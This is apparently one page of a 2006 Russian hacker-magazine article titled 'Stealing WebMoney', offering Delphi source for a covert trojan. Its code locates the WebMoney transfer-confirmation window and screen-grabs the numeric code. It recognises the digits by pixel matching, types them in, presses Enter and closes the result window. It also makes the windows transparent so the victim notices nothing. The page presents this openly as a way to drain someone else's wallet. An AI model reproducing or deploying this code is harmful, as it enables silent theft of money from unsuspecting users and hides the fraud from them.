Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #90, ИЮНЬ 2006 г.

Уводим WebMoney

SIR (sir-xaker@mail.ru)

Хакер, номер #090, стр. 090-116-4


Сначала проверим наличие этого окна:

repeat

Transfer:=FindWindow(nil,PChar('Передача WM клиенту WebMoney'));

until Transfer<>0;

BringWindowToTop(Transfer);

Копируем картинку. Нам потребуется компонент Image.

Копируем картинку

image1.Width:=46;

image1.Height:=18;

GetWindowRect(Transfer,Rect);

DC:=GetDC(Transfer);

BitBlt(Image1.Canvas.Handle,0,0,46,18,DC,123,Rect.Bottom-Rect.Top-55-18-32,SRCCOPY);

ReleaseDC(Transfer,DC);

32 – размер заголовка окна, его тоже надо учитывать. Теперь картинка с цифрами скопирована. Мы разобьем ее на три части (img1, img2, img3) и начнем по пикселям сравнивать матрицу с уже имеющимися моделями (матрицами) цифр. Удобнее, если картинка будет монохромной. Делается это так:

Image1.Picture.Bitmap.PixelFormat:=pf1bit;

Image1.Picture.Bitmap.Monochrome:=true;

Так как ширина картинки 46 пикселей, то разбитие лучше всего сделать таким: 15x18, 16x18 и 15x18 пикселей.

Массив цветов 1-ой цифры

var

img1:array[0..14,1..17]of byte;

x,y:integer;

for x:=0 to 14 do

for y:=0 to 17 do

if image1.Canvas.Pixels [x,y]=clWhite then img1[x,y]:=0

else img1[x,y]:=1;

Для 2-ой и 3-ей цифры делаем аналогично. Теперь наши цифры содержатся в массивах из нулей и единиц. Нам потребуются модели цифр. Всего их будет 40. Понадобится немного терпения, так что сохрани полученную матрицу в текстовый вид, а затем в вирусе создай модели по этим цифрам. Можно чуть ускорить процесс сравнения цифр, если знать ее положение (маленькое, большое и др.). Сам код проверки можно увидеть на диске.

Осталось последнее окно. В него мы отсылаем наши распознанные цифры и жмем кнопку «Да». Затем ждем появления окна результата перевода и закрываем его.

Заполнения окна «Передача WM клиенту WebMoney»

var DT:string;

TransWnd[1]:=GetWindow(Transfer,GW_CHILD);

for i:=2 to 3 do TransWnd[i]:=GetWindow(TransWnd[i-1],GW_HWNDNEXT);

SendMessage(TransWnd[1],WM_SETTEXT,0,LongInt(PChar(IntToStr(S1)+IntToStr(S2)+IntToStr(S3))));

SendMessage(TransWnd[3],WM_IME_KEYDOWN,VK_RETURN,0);

SendMessage(TransWnd[3],WM_IME_KEYUP,VK_RETURN,0);

DateTimeToString(DT,'yyyy.mm.dd hh:nn',Now);

repeat

Transfer:=FindWindow(nil,PChar('Передача WM '+DT));

until Transfer<>0;

SendMessage(Transfer,WM_CLOSE,0,0);

hidden & dangerous

Чтобы юзер не заподозрил потустороннее программное обеспечение, а главное - открывающиеся окна, нашу программу необходимо скрыть, а весь выше описанный процесс сделать визуально невидимым. Я предлагаю при появлении необходимого нам окна сразу же делать его прозрачным:

SetWindowLong(<хэндл нужного окна>,GWL_EXSTYLE,WS_EX_LAYERED);

SetLayeredWindowAttributes(<хэндл нужного окна>,0,0,$00000002);

Назад на стр. 090-116-3  Содержание  Вперед на стр. 090-116-5
Hosted by uCoz